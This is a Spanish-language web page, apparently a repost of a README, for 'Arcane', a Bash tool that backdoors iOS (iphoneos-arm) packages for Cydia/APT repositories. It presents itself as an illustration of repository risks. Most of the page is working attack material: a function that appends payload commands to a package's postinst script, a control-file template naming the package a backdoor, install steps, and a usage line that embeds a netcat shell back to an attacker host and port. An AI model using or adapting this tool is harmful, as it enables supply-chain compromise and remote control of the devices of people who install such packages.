Arcane Backdoor Paquetes iOS
Arcane Backdoor Paquetes iOS

Arcane: Backdoor en Paquetes iOS (iphone-arm)

Arcane es un simple script diseñado para hacer backdoor de los paquetes iOS (iphone-arm) y crear los recursos necesarios para los repositorios APT. Fue creado para esta publicación para ayudar a ilustrar por qué los repositorios de Cydia pueden ser peligrosos y qué ataques posteriores a la explotación son posibles desde un dispositivo iOS comprometido.

screenshot arcane
screenshot arcane
Tabla de Contenido

Cómo funciona Arcane…

Para entender lo que ocurre en el GIF, descomprime un paquete creado con Arcane.

dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp

Fíjate en los archivos de control y post-instalación en el directorio DEBIAN. Ambos archivos son importantes.

tree /tmp/whois-decomp/

/tmp/whois-decomp/
├── DEBIAN
│   ├── control
│   └── postinst
└── usr
    └── bin
        └── whois

Es posible suministrar scripts como parte de un paquete al instalar o quitar aplicaciones. Los scripts de mantenimiento de paquetes incluyen los archivos preinst, postinst, prerm y postrm. Arcane aprovecha el archivo postinst para ejecutar comandos durante la instalación.

# El archivo "post-installation". Este archivo es generalmente responsable 
# para ejecutar comandos en el sistema operativo después de instalar el requerido 
# archivos. Es utilizado por los desarrolladores para administrar y mantener varios 
# aspectos de una instalación. Arcane abusa de esta funcionalidad
# agregando comandos Bash maliciosos al archivo.
postinst="$tmp/DEBIAN/postinst";

# Una función para manejar el tipo de ejecución del comando incrustado en el
# archivo postinst.
function inject_backdoor ()
{
    # If --file is used, `cat` the command(s) into the postinst file.
    if [[ "$infile" ]]; then
        cat "$infile" >> "$postinst";
        embed="[$infile]";
    else
        # If no --file, utilize the simple Bash payload, previously
        # defined.
        echo -e "$payload" >> "$postinst";
        embed="generic shell command";
    fi;
    status "embedded $embed into postinst" "error embedding backdoor";
    chmod 0755 "$postinst"
};

El archivo de control contiene los valores que las herramientas de gestión de paquetes utilizan al instalar los paquetes. Arcane modificará un control existente o lo creará.

# La plantilla del archivo de "control". La mayoría de los paquetes de iOS incluirán un
# archivo de control. En el caso de que no se encuentre uno, Arcano usará el
# debajo de la plantilla. La variable "hacker" se utiliza aquí para ocupar
# varios campos arbitrarios.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";

...

# An `if` statement to check for the control file.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
    # If no control is detected, create it using the template.
    echo "$controlTemp" > "$tmp/DEBIAN/control";
    status "created control file" "error with control template";
else
    # If a control file exists, Arcane will simply rename the package
    # as it appears in the list of available Cydia applications. This
    # makes the package easier to location in Cydia.
    msg "detected control file" succ;
    sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
    status "modified control file" "error with control";
fi;

Usar

Clonar el repositorio en Kali v2020.3.

sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencies
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help

Incrustar un comando en un paquete dado. Lee el artículo para más información.

./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attacker> --lport <4444> --cydia --netcat

Muestras del paquete

El repo incluye paquetes para las pruebas.

ls -la samples/

-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  76688 Aug 29  2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  60866 Jul  8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root  13810 Aug 29  2018 whois_5.3.2-1_iphoneos-arm.deb

Suma de MD5, como se encuentra en el Repositorio Bingner oficial.

md5sum samples/*.deb

3f1712964701580b3f018305a55e217c  samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f  samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0  samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7  samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16  samples/whois_5.3.2-1_iphoneos-arm.deb
Dark Mode

Arcane (este enlace se abre en una nueva ventana) por tokyoneon (este enlace se abre en una nueva ventana)

Arcane is a simple script designed to backdoor iOS packages (iphone-arm) and create the necessary resources for APT repositories.

My Cart Close (×)

Tu carrito está vacío
Ver tienda